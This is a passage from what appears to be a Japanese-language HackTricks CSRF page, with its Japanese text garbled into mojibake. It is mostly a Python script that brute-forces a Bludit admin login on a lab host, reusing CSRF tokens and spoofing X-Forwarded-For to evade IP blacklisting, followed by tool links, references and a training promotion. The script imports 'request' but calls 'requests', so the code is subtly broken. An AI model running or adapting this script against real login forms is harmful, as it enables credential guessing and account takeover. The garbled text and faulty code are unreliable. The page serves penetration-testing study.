ãã®ã³ãŒãã¯CSRFããŒã¯ã³ã䜿çšããŠãã°ã€ã³ãã©ãŒã ã«å¯ŸããŠBrut Forceãè¡ãããã«äœ¿çšã§ããŸãïŒIPã®ãã©ãã¯ãªã¹ããåé¿ããããšããããã«ãããã㌠X-Forwarded-For ã䜿çšããŠããŸãïŒ:
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
ããŒã«
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional â Generate CSRF PoCs
åèè³æ
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Ultimate guide to CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


